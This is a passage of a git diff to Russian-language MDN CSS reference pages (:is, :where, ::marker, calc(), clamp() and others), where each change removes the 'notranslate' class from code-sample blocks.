<a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдо-класс</a> <strong><code>:focus-within</code></strong> соответствует элементу, который либо сам находится в фокусе, либо содержит элемент, который находится в фокусе. Другими словами, он представляет элементу, который соответствует псевдоклассу {{CSSxRef(":focus")}} либо имеет потомка, который соответствует <code>:focus</code>. (Включая потомков в <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow trees</a>.)</p> -<pre class="brush: css no-line-numbers notranslate">/* Выделяет <div> когда один из его потомков находится в фокусе */ +<pre class="brush: css no-line-numbers">/* Выделяет <div> когда один из его потомков находится в фокусе */ div:focus-within { background: cyan; }</pre> @@ -24,7 +24,7 @@ div:focus-within { <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><p>Try typing into this form.</p> +<pre class="brush: html"><p>Try typing into this form.</p> <form> <label for="given_name">Given Name:</label> @@ -36,7 +36,7 @@ div:focus-within { <h3 id="CSS">CSS</h3> -<pre class="brush: css highlight[7] notranslate">form { +<pre class="brush: css highlight[7]">form { border: 1px solid; color: gray; padding: 4px; diff --git a/files/ru/web/css/_colon_host()/index.html b/files/ru/web/css/_colon_host()/index.html index 19830a0c9c..b285765913 100644 --- a/files/ru/web/css/_colon_host()/index.html +++ b/files/ru/web/css/_colon_host()/index.html @@ -15,7 +15,7 @@ translation_of: 'Web/CSS/:host()' <p><strong>Примечание</strong>: Псевдокласс не имеет эффекта вне shadow DOM.</p> </div> -<pre class="brush: css; no-line-numbers notranslate">/* Выбирает хоста shadow root, только +<pre class="brush: css; no-line-numbers">/* Выбирает хоста shadow root, только если он соответствует аргументу селектора */ :host(.special-custom-element) { font-weight: bold; @@ -34,11 +34,11 @@ translation_of: 'Web/CSS/:host()' <p>В этом примере у нас есть простой пользовательский элемент — <code><context-span></code> — который мы оборачиваем вокруг текста:</p> -<pre class="brush: html; notranslate"><h1>Host selectors <a href="#"><context-span>example</context-span></a></h1></pre> +<pre class="brush: html;"><h1>Host selectors <a href="#"><context-span>example</context-span></a></h1></pre> <p>Внутри конструктора элемента мы создаём элементы <code>style</code> и <code>span</code>, заполняем <code>span</code> контентом пользовательского элемента и заполняем элемент <code>style</code> CSS-правилами:</p> -<pre class="brush: js; notranslate">let style = document.createElement('style'); +<pre class="brush: js;">let style = document.createElement('style'); let span = document.createElement('span'); span.textContent = this.textContent; diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html index e77d87f70c..e74aaf3846 100644 --- a/files/ru/web/css/_colon_is/index.html +++ b/files/ru/web/css/_colon_is/index.html @@ -13,7 +13,7 @@ translation_of: 'Web/CSS/:is' <p>Заметьте, что в данный момент браузеры поддерживают её функциональность как <code>:matches()</code>, или даже как более старый, префиксный псевдокласс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */ +<pre class="brush: css no-line-numbers">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */ :is(header, main, footer) p:hover { color: red; cursor: pointer; @@ -52,7 +52,7 @@ footer p:hover { <h3 id="Кроссбраузерный_пример">Кроссбраузерный пример</h3> -<pre class="brush: html notranslate"><header> +<pre class="brush: html"><header> <p>Это мой параграф в шапке</p> </header> @@ -67,7 +67,7 @@ footer p:hover { <p>Это мой параграф в подвале</p> </footer></pre> -<pre class="brush: css notranslate">:-webkit-any(header, main, footer) p:hover { +<pre class="brush: css">:-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } @@ -88,7 +88,7 @@ footer p:hover { } </pre> -<pre class="brush: js notranslate">let matchedItems; +<pre class="brush: js">let matchedItems; try { matchedItems = document.querySelectorAll(':is(header, main, footer) p'); @@ -122,7 +122,7 @@ function applyHandler(elem) { <p>Псевдо-класс <code>:is()</code> может великолепно упрощать ваши CSS селекторы. К примеру, следующий CSS:</p> -<pre class="brush: css notranslate">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ +<pre class="brush: css">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ ol ol ul, ol ul ul, ol menu ul, ol dir ul, ol ol menu, ol ul menu, ol menu menu, ol dir menu, ol ol dir, ol ul dir, ol menu dir, ol dir dir, @@ -141,7 +141,7 @@ dir ol dir, dir ul dir, dir menu dir, dir dir dir { <p>... можно заменить на:</p> -<pre class="brush: css notranslate">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ +<pre class="brush: css">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) ul, :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) menu, :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) dir { @@ -154,7 +154,7 @@ dir ol dir, dir ul dir, dir menu dir, dir dir dir { <p>К примеру, без <code>:is()</code>, стилизовать все {{HTMLElement("h1")}} элементы на разных уровнях может бы очень сложно:</p> -<pre class="brush: css notranslate">/* Уровень 0 */ +<pre class="brush: css">/* Уровень 0 */ h1 { font-size: 30px; } @@ -175,7 +175,7 @@ nav section h1, nav article h1, nav aside h1, nav nav h1 { <p>Используя <code>:is()</code>, как видно, это гораздо легче:</p> -<pre class="brush: css notranslate">/* Уровень 0 */ +<pre class="brush: css">/* Уровень 0 */ h1 { font-size: 30px; } @@ -199,13 +199,13 @@ h1 { <p>В отличие от <a href="/ru/docs/Web/CSS/Selector_list">списка селекторов</a>, псевдокласс <code>:is()</code> не аннулируется, когда из селекторов, попавший туда не поддерживается браузером.</p> -<pre class="brush: css notranslate">:is(:valid, :unsupported) { +<pre class="brush: css">:is(:valid, :unsupported) { ... }</pre> <p>Будет по прежнему определяться правильно и соответствовать <code>:valid</code> даже в браузерах, которые не поддерживают <code>:unsupported</code>, в то время как:</p> -<pre class="brush: css notranslate">:valid, :unsupported { +<pre class="brush: css">:valid, :unsupported { ... }</pre> diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html index c435be2554..2cfcabf12b 100644 --- a/files/ru/web/css/_colon_left/index.html +++ b/files/ru/web/css/_colon_left/index.html @@ -10,7 +10,7 @@ translation_of: 'Web/CSS/:left' <p><a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдокласс</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:left</code></strong> используется с <a href="/en-US/docs/Web/CSS/At-rule">at-правилом</a> {{cssxref("@page")}}, предоставляет все левые страницы печатного документа.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает все левые страницы при печати */ +<pre class="brush: css no-line-numbers">/* Выбирает все левые страницы при печати */ @page :left { margin: 2in 3in; }</pre> @@ -29,7 +29,7 @@ translation_of: 'Web/CSS/:left' <h3 id="Выставляем_отступы_для_левых_страниц">Выставляем отступы для левых страниц</h3> -<pre class="brush: css notranslate">@page :left { +<pre class="brush: css">@page :left { margin: 2in 3in; } </pre> diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html index 631182a560..e47bedbdad 100644 --- a/files/ru/web/css/_colon_where/index.html +++ b/files/ru/web/css/_colon_where/index.html @@ -13,7 +13,7 @@ translation_of: 'Web/CSS/:where' <div></div> -<pre class="brush: css notranslate"><code>/* Выбирает любой параграф внутри header, main +<pre class="brush: css"><code>/* Выбирает любой параграф внутри header, main или footer на который наведён курсор мыши */ :where(header, main, footer) p:hover { color: red; @@ -36,13 +36,13 @@ footer p:hover { <p>При использовании списка селекторов в CSS, если один из селекторов невалидный, то весь список селекторов будет считаться невалидным. В то же время при использовании <code>:is()</code> или <code>:where()</code> действует другое правило: если среди переданных аргументов будет некорректный или неподдерживаемый селектор, то он будет проигнорирован, для всех же остальных селекторов будут применены CSS-правила.</p> -<pre class="brush: css notranslate">:where(:valid, :unsupported) { +<pre class="brush: css">:where(:valid, :unsupported) { ... }</pre> <p>Пример выше будет успешно распарсен и для <code>:valid</code> будут применены CSS-правила, даже если в браузере не поддерживается <code>:unsupported</code>, в то время как:</p> -<pre class="brush: css notranslate">:valid, :unsupported { +<pre class="brush: css">:valid, :unsupported { ... }</pre> @@ -56,7 +56,7 @@ footer p:hover { <p>Возьмём следующий HTML-код:</p> -<pre class="brush: html notranslate"><article> +<pre class="brush: html"><article> <h2>:is()-styled links</h2> <section class="is-styling"> <p>Here is my main content. This <a href="https://mozilla.org">contains a link</a>. @@ -90,7 +90,7 @@ footer p:hover { <p>Теперь при помощи псевдоклассов <code>:is()</code> и <code>:where()</code> зададим цвет для ссылок в простой форме, как в примере ниже:</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; font-size: 150%; } @@ -105,7 +105,7 @@ footer p:hover { <p>Что если позже мы захотим переопределить цвет ссылок в <code>footer</code>'ах используя простой селектор?</p> -<pre class="brush: css notranslate">footer a { +<pre class="brush: css">footer a { color: blue; }</pre> diff --git a/files/ru/web/css/_doublecolon_cue/index.html b/files/ru/web/css/_doublecolon_cue/index.html index 4ff78d9a48..fb8fd111a9 100644 --- a/files/ru/web/css/_doublecolon_cue/index.html +++ b/files/ru/web/css/_doublecolon_cue/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/::cue' <p><span class="seoSummary"><a href="/ru/docs/Web/CSS/Pseudo-elements">Псевдоэлемент</a> <a href="/ru/docs/Web/CSS">CSS</a> <strong><code>::cue</code></strong> соответствует репликам <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a> в выбранном элементе. Он может быть использован для задания <a href="/docs/Web/API/WebVTT_API#Styling_WebTT_cues">стилей титров и других реплик</a> в медиа с VTT треками.</span></p> -<pre class="brush: css no-line-numbers notranslate">::cue { +<pre class="brush: css no-line-numbers">::cue { color: yellow; font-weight: bold; }</pre> @@ -41,7 +41,7 @@ translation_of: 'Web/CSS/::cue' <p>Следующий CSS устанавливает стили для реплик в виде белого цвета текста и полупрозрачного чёрного фона.</p> -<pre class="brush: css notranslate">::cue { +<pre class="brush: css">::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); }</pre> diff --git a/files/ru/web/css/_doublecolon_grammar-error/index.html b/files/ru/web/css/_doublecolon_grammar-error/index.html index c64a28eb84..2a7a57109b 100644 --- a/files/ru/web/css/_doublecolon_grammar-error/index.html +++ b/files/ru/web/css/_doublecolon_grammar-error/index.html @@ -29,7 +29,7 @@ translation_of: 'Web/CSS/::grammar-error' <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">::grammar-error</pre> +<pre class="syntaxbox">::grammar-error</pre> <h2 id="Примеры">Примеры</h2> @@ -39,11 +39,11 @@ translation_of: 'Web/CSS/::grammar-error' <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p>My friends is coming to the party tonight.</p></pre> +<pre class="brush: html"><p>My friends is coming to the party tonight.</p></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">::grammar-error { +<pre class="brush: css">::grammar-error { text-decoration: underline red; color: red; }</pre> diff --git a/files/ru/web/css/_doublecolon_marker/index.html b/files/ru/web/css/_doublecolon_marker/index.html index 37caf3ec01..767ad0a2d7 100644 --- a/files/ru/web/css/_doublecolon_marker/index.html +++ b/files/ru/web/css/_doublecolon_marker/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/::marker' <p><span class="seoSummary">Псевдоэлемент <strong><code>::marker</code></strong> применяет стили к маркеру элемента списка, которые обычно содержит значок или номер.</span> Работает с любым элементом или псевдоэлементом, к которого установлен <code><a href="/en-US/docs/Web/CSS/display">display: list-item</a></code>, например, у такого как {{HTMLElement("li")}} или {{HTMLElement("summary")}}.</p> -<pre class="brush: css no-line-numbers notranslate">::marker { +<pre class="brush: css no-line-numbers">::marker { color: blue; font-size: 1.2em; }</pre> @@ -37,7 +37,7 @@ translation_of: 'Web/CSS/::marker' <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>Peaches</li> <li>Apples</li> <li>Plums</li> @@ -45,7 +45,7 @@ translation_of: 'Web/CSS/::marker' <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">ul li::marker { +<pre class="brush: css">ul li::marker { color: red; font-size: 1.5em; }</pre> diff --git a/files/ru/web/css/_doublecolon_placeholder/index.html b/files/ru/web/css/_doublecolon_placeholder/index.html index ce536f7fe0..8fde2fd945 100644 --- a/files/ru/web/css/_doublecolon_placeholder/index.html +++ b/files/ru/web/css/_doublecolon_placeholder/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/::placeholder' <p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> <strong><code>::placeholder</code></strong> представляет собой <a href="/ru/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">текст placeholder</a> в {{HTMLElement("input")}} или {{HTMLElement("textarea")}} элементах.</p> -<pre class="brush: css no-line-numbers notranslate">::placeholder { +<pre class="brush: css no-line-numbers">::placeholder { color: blue; font-size: 1.5em; }</pre> @@ -32,11 +32,11 @@ translation_of: 'Web/CSS/::placeholder' <h4 id="HTML">HTML</h4> -<pre class="brush:html line-numbers language-html notranslate"><input placeholder="Введите что-нибудь!"></pre> +<pre class="brush:html line-numbers language-html"><input placeholder="Введите что-нибудь!"></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">input::placeholder { +<pre class="brush: css">input::placeholder { color: red; font-size: 1.2em; font-style: italic; @@ -50,11 +50,11 @@ translation_of: 'Web/CSS/::placeholder' <h4 id="HTML_2">HTML</h4> -<pre class="brush:html line-numbers language-html notranslate"><input placeholder="Введите что-нибудь..."></pre> +<pre class="brush:html line-numbers language-html"><input placeholder="Введите что-нибудь..."></pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">input::placeholder { +<pre class="brush: css">input::placeholder { color: green; } </pre> @@ -89,7 +89,7 @@ translation_of: 'Web/CSS/::placeholder' <p>В таком случае содержимое подсказки будет доступно даже в том случае, если что-то введено в форму. Большинство скринридеров используют <code>aria-describedby</code> для чтения подсказок после того, как будет прочитан текст метки формы. Пользователь может отключить эту функцию, если дополнительная информация окажется ему ненужной.</p> -<pre class="brush:html line-numbers language-html notranslate"><label for="user-email">Ваш email адрес</label> +<pre class="brush:html line-numbers language-html"><label for="user-email">Ваш email адрес</label> <span id="user-email-hint" class="input-hint">Пример: jane@sample.com</span> <input id="user-email" aria-describedby="user-email-hint" name="email" type="email"> </pre> diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html index 0edc300055..b98d03c2f0 100644 --- a/files/ru/web/css/_doublecolon_slotted/index.html +++ b/files/ru/web/css/_doublecolon_slotted/index.html @@ -9,7 +9,7 @@ translation_of: 'Web/CSS/::slotted' <p>Это работает только при использовании внутри CSS, помещённого в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещённый в слот; он нацелен только на фактические элементы.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещённый в слот */ +<pre class="brush: css no-line-numbers">/* Выбирает любой элемент, помещённый в слот */ ::slotted(*) { font-weight: bold; } @@ -30,7 +30,7 @@ translation_of: 'Web/CSS/::slotted' <p>В этом демо мы использовали простой шаблон с тремя слотами:</p> -<pre class="brush: html notranslate"><template id="person-template"> +<pre class="brush: html"><template id="person-template"> <div> <h2>Personal ID Card</h2> <slot name="person-name">NAME MISSING</slot> @@ -43,7 +43,7 @@ translation_of: 'Web/CSS/::slotted' <p>Пользовательский элемент — <code><person-details></code> — определяется следующим образом:</p> -<pre class="brush: js notranslate">customElements.define('person-details', +<pre class="brush: js">customElements.define('person-details', class extends HTMLElement { constructor() { super(); @@ -68,7 +68,7 @@ translation_of: 'Web/CSS/::slotted' <p>Элемент выглядит следующим образом при вставке на страницу:</p> -<pre class="brush: html notranslate"><person-details> +<pre class="brush: html"><person-details> <p slot="person-name">Dr. Shazaam</p> <span slot="person-age">Immortal</span> <span slot="person-occupation">Superhero</span> diff --git a/files/ru/web/css/align-content/index.html b/files/ru/web/css/align-content/index.html index 9cc517042f..e9225b6f49 100644 --- a/files/ru/web/css/align-content/index.html +++ b/files/ru/web/css/align-content/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/align-content <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* Основное позиционное выравнивание */ +<pre class="brush:css no-line-numbers">/* Основное позиционное выравнивание */ /* align-content не принимает значения left и right */ align-content: center; /* Расположить элементы вокруг центра */ align-content: start; /* Расположить элементы в начале */ @@ -101,7 +101,7 @@ align-content: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css; highlight[4] notranslate">#container { +<pre class="brush: css; highlight[4]">#container { height:200px; width: 240px; align-content: center; /* Can be changed in the live sample */ @@ -169,7 +169,7 @@ select { <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="container" class="flex"> +<pre class="brush: html"><div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> @@ -222,7 +222,7 @@ select { <div class="hidden"> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">var values = document.getElementById('values'); +<pre class="brush: js">var values = document.getElementById('values'); var display = document.getElementById('display'); var container = document.getElementById('container'); diff --git a/files/ru/web/css/animation/index.html b/files/ru/web/css/animation/index.html index 8db0d1c026..3aee48338c 100644 --- a/files/ru/web/css/animation/index.html +++ b/files/ru/web/css/animation/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/animation <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css notranslate">/* @keyframes duration | timing-function | delay | +<pre class="brush:css">/* @keyframes duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; @@ -42,7 +42,7 @@ translation_of: Web/CSS/animation <p>Учитывая все специфичные для браузеров префиксы, вот анимация цилиндрического глаза, включающая линейные градиенты и анимацию, которая работает во всех основных браузерах:</p> -<pre class="brush: html notranslate"><div class="view_port"> +<pre class="brush: html"><div class="view_port"> <div class="polling_message"> Listening for dispatches </div> @@ -50,7 +50,7 @@ translation_of: Web/CSS/animation </div> </pre> -<pre class="brush: css notranslate">.polling_message { +<pre class="brush: css">.polling_message { color: white; float: left; margin-right: 2%; diff --git a/files/ru/web/css/attr()/index.html b/files/ru/web/css/attr()/index.html index 07e97c3a88..b7596531f8 100644 --- a/files/ru/web/css/attr()/index.html +++ b/files/ru/web/css/attr()/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/attr() <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:js notranslate">/* Пример простого использования */ +<pre class="brush:js">/* Пример простого использования */ attr(data-count); attr(title); @@ -161,12 +161,12 @@ attr(data-something, 'default'); <h2 id="Пример">Пример</h2> -<pre class="brush: css notranslate">p::before { +<pre class="brush: css">p::before { content: attr(data-foo) " "; } </pre> -<pre class="brush: html notranslate"><p data-foo="hello">world</p> +<pre class="brush: html"><p data-foo="hello">world</p> </pre> <h3 id="Результат">Результат</h3> diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html index 7d02a61e7d..1983bf5480 100644 --- a/files/ru/web/css/background-attachment/index.html +++ b/files/ru/web/css/background-attachment/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/background-attachment <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: css notranslate">/* Ключевые значения */ +<pre class="brush: css">/* Ключевые значения */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; @@ -51,7 +51,7 @@ background-attachment: unset;</pre> <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> There were doors all round the hall, but they were all locked; and when Alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to @@ -60,7 +60,7 @@ background-attachment: unset;</pre> <h4 id="CSS">CSS</h4> -<pre class="brush:css; highlight:[3]; notranslate">p { +<pre class="brush:css; highlight:[3];">p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } @@ -76,7 +76,7 @@ background-attachment: unset;</pre> <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> There were doors all round the hall, but they were all locked; and when Alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to @@ -94,7 +94,7 @@ background-attachment: unset;</pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush:css; highlight:[3]; notranslate">p { +<pre class="brush:css; highlight:[3];">p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html index 32a99c7e9e..f27b97713e 100644 --- a/files/ru/web/css/background-image/index.html +++ b/files/ru/web/css/background-image/index.html @@ -24,7 +24,7 @@ translation_of: Web/CSS/background-image <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css notranslate">background-image: none; +<pre class="brush: css">background-image: none; background-image: url(http://www.example.com/bck.png); background-image: inherit; @@ -51,7 +51,7 @@ background-image: inherit; <h4 id="HTML_содержимое">HTML содержимое</h4> -<pre class="brush: html notranslate"><div> +<pre class="brush: html"><div> <p class="catsandstars"> This paragraph is full of cats<br />and stars. </p> @@ -64,7 +64,7 @@ background-image: inherit; <h4 id="CSS_содержимое">CSS содержимое</h4> -<pre class="brush: css notranslate">pre, p { +<pre class="brush: css">pre, p { font-size: 1.5em; color: #FE7F88; background-color: transparent; diff --git a/files/ru/web/css/border-bottom/index.html b/files/ru/web/css/border-bottom/index.html index 2c4613dee8..bf69fc5788 100644 --- a/files/ru/web/css/border-bottom/index.html +++ b/files/ru/web/css/border-bottom/index.html @@ -13,13 +13,13 @@ translation_of: Web/CSS/border-bottom <p>Как и все сокращённые свойства, <code>border-bottom</code> устанавливает значения всех свойств, которые он может установить, даже если они не указаны. Для тех свойств, которые не указаны оно устанавливает значения по умолчанию. Это означает, что ...</p> -<pre class="brush: css notranslate">border-bottom-style: dotted; +<pre class="brush: css">border-bottom-style: dotted; border-bottom: thick green; </pre> <p>... это то же самое, что ...</p> -<pre class="brush: css notranslate">border-bottom-style: dotted; +<pre class="brush: css">border-bottom-style: dotted; border-bottom: none thick green; </pre> @@ -37,7 +37,7 @@ border-bottom: none thick green; <h2 id="Syntax">Syntax</h2> -<pre class="brush: css no-line-numbers notranslate">border-bottom: 1px; +<pre class="brush: css no-line-numbers">border-bottom: 1px; border-bottom: 2px dotted; border-bottom: medium dashed blue; </pre> @@ -69,13 +69,13 @@ border-bottom: medium dashed blue; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div> +<pre class="brush: html"><div> This box has a border on the bottom side. </div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { border-bottom: 4px dashed blue; background-color: gold; height: 100px; diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html index 56ab00b597..009c81968e 100644 --- a/files/ru/web/css/box-sizing/index.html +++ b/files/ru/web/css/box-sizing/index.html @@ -62,13 +62,13 @@ translation_of: Web/CSS/box-sizing <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div class="content-box">Content box</div> +<pre class="brush: html"><div class="content-box">Content box</div> <br> <div class="border-box">Border box</div></pre> <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 160px; height: 80px; padding: 20px; diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html index 3c34440b4d..6f6db79e20 100644 --- a/files/ru/web/css/calc()/index.html +++ b/files/ru/web/css/calc()/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/calc() <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> -<pre class="syntaxbox notranslate">calc(<em>expression</em>)</pre> +<pre class="syntaxbox">calc(<em>expression</em>)</pre> <h2 id="Примеры">Примеры</h2> @@ -46,7 +46,7 @@ translation_of: Web/CSS/calc() <p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создаётся баннер занимающий в ширину все окно с отступами по краям в 40px. </p> -<pre class="brush: css notranslate">.banner { +<pre class="brush: css">.banner { position: absolute; left: 5%; /* для браузеров не поддерживающих calc() */ left: calc(40px); @@ -60,7 +60,7 @@ translation_of: Web/CSS/calc() } </pre> -<pre class="brush: html notranslate"><div class="banner">Это баннер!</div></pre> +<pre class="brush: html"><div class="banner">Это баннер!</div></pre> <p>{{ EmbedLiveSample('Позиционирование_объекта_в_окне_с_помощью_отступа', '100%', '60') }}</p> @@ -70,7 +70,7 @@ translation_of: Web/CSS/calc() <p>Давайте посмотрим некоторый код CSS:</p> -<pre class="brush: css notranslate">input { +<pre class="brush: css">input { padding: 2px; display: block; width: 98%; /* для браузеров, не поддерживающих calc() */ @@ -87,7 +87,7 @@ translation_of: Web/CSS/calc() <p>Здесь ширина формы становится 1/6 от ширины окна. Затем, чтобы задать размер полей, мы вновь используем функцию <code>calc()</code>, которая вычитает 1em из ширины блока. Теперь применим этот CSS к следующему HTML-коду:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div id="formbox"> <label>Type something:</label> <input type="text"> @@ -101,7 +101,7 @@ translation_of: Web/CSS/calc() <p>Вы также можете использовать <code>calc()</code> с CSS переменными. Рассмотрим пример кода:</p> -<pre class="notranslate">.foo { +<pre>.foo { --widthA: 100px; --widthB: calc(var(--widthA) / 2); --widthC: calc(var(--widthB) / 2); diff --git a/files/ru/web/css/clamp()/index.html b/files/ru/web/css/clamp()/index.html index 1e6fa2b6fc..3bba677ccc 100644 --- a/files/ru/web/css/clamp()/index.html +++ b/files/ru/web/css/clamp()/index.html @@ -9,14 +9,14 @@ translation_of: Web/CSS/clamp() <p><code>clamp(MIN, VAL, MAX)</code> вычисляется как <code>{{CSSxRef("max", "max")}}(MIN, {{CSSxRef("min", "min")}}(VAL, MAX))</code></p> -<pre class="brush: css; no-line-numbers notranslate">/* свойство: clamp(expression{3}) */ +<pre class="brush: css; no-line-numbers">/* свойство: clamp(expression{3}) */ width: clamp(10px, 4em, 80px);</pre> <p>В примере выше ширина будет не меньше 10px и не больше 80px. Но если размер одного "em" будет находиться в диапазоне от 2.5px до 20px (в сумме от 10px до 80px), то ширина будет равняться этим 4em.</p> <p>Давайте предположим, что в примере выше 1em равен 16px:</p> -<pre class="brush: css; no-line-numbers notranslate">width: clamp(10px, 4em, 80px); +<pre class="brush: css; no-line-numbers">width: clamp(10px, 4em, 80px); /* если 1em = 16px, 4em = (16px * 4) = 64px */ width: clamp(10px, 64px, 80px); /* clamp(MIN, VAL, MAX) вычисляется как max(MIN, min(VAL, MAX))) */ @@ -57,10 +57,10 @@ width: 64px;</pre> <p><code>clamp()</code> позволяет вам установить размер шрифта, который изменяется в зависимости от ширины области видимости, но не уменьшается ниже и не увеличивается выше заданного размера. Она имеет тот же эффект, что и в <a href="https://css-tricks.com/snippets/css/fluid-typography/">Fluid Typography</a>, но в одну строку и без использования медиавыражений.</p> -<pre class="brush: css notranslate">p { font-size: clamp(1rem, 2.5vw, 1.5rem); } +<pre class="brush: css">p { font-size: clamp(1rem, 2.5vw, 1.5rem); } </pre> -<pre class="brush: html; notranslate"><p> +<pre class="brush: html;"><p> If 2.5vw is less than 1rem, the font-size will be 1rem. If 2.5vw is greater than 1.5rem, the font-size will be 1.5rem. Otherwise, it will be 2.5vw. diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html index 0b14e0faee..1a1bc18b7e 100644 --- a/files/ru/web/css/color_value/index.html +++ b/files/ru/web/css/color_value/index.html @@ -992,7 +992,7 @@ translation_of: Web/CSS/color_value <h4 id="currentColor_пример">currentColor пример</h4> -<pre class="brush: html notranslate"><div style="color:blue; border: 1px dashed currentColor;"> +<pre class="brush: html"><div style="color:blue; border: 1px dashed currentColor;"> Цвет текста-синий. <div style="background:currentColor; height:9px;"></div> This block is surrounded by a blue border. @@ -1029,7 +1029,7 @@ translation_of: Web/CSS/color_value <p>В этом примере показано множество способов создания одного цвета с помощью различных цветовых синтаксисов RGB.</p> -<pre class="notranslate">/* Все эти варианты синтаксиса задают один и тот же цвет: полностью непрозрачный ярко-розовый. */ +<pre>/* Все эти варианты синтаксиса задают один и тот же цвет: полностью непрозрачный ярко-розовый. */ /* Шестнадцатеричный синтаксис */ #f09 @@ -1067,7 +1067,7 @@ rgb(1e2, .5e1, .5e0, +.25e2%) <h5 id="RGB_вариации_прозрачности">RGB вариации прозрачности</h5> -<pre class="notranslate">/* Шестнадцатеричный синтаксис */ +<pre>/* Шестнадцатеричный синтаксис */ #3a30 <span style="background: #3a30;"> /* 0% непрозрачный зелёный цвет */ </span> #3A3F <span style="background: #3A3F;"> /* полный непрозрачный зелёный цвет */ </span> #33aa3300 <span style="background: #33aa3300;"> /* 0% непрозрачный зелёный цвет */ </span> diff --git a/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html index 454ad6b5fe..5b10b41321 100644 --- a/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html +++ b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html @@ -38,7 +38,7 @@ translation_of: 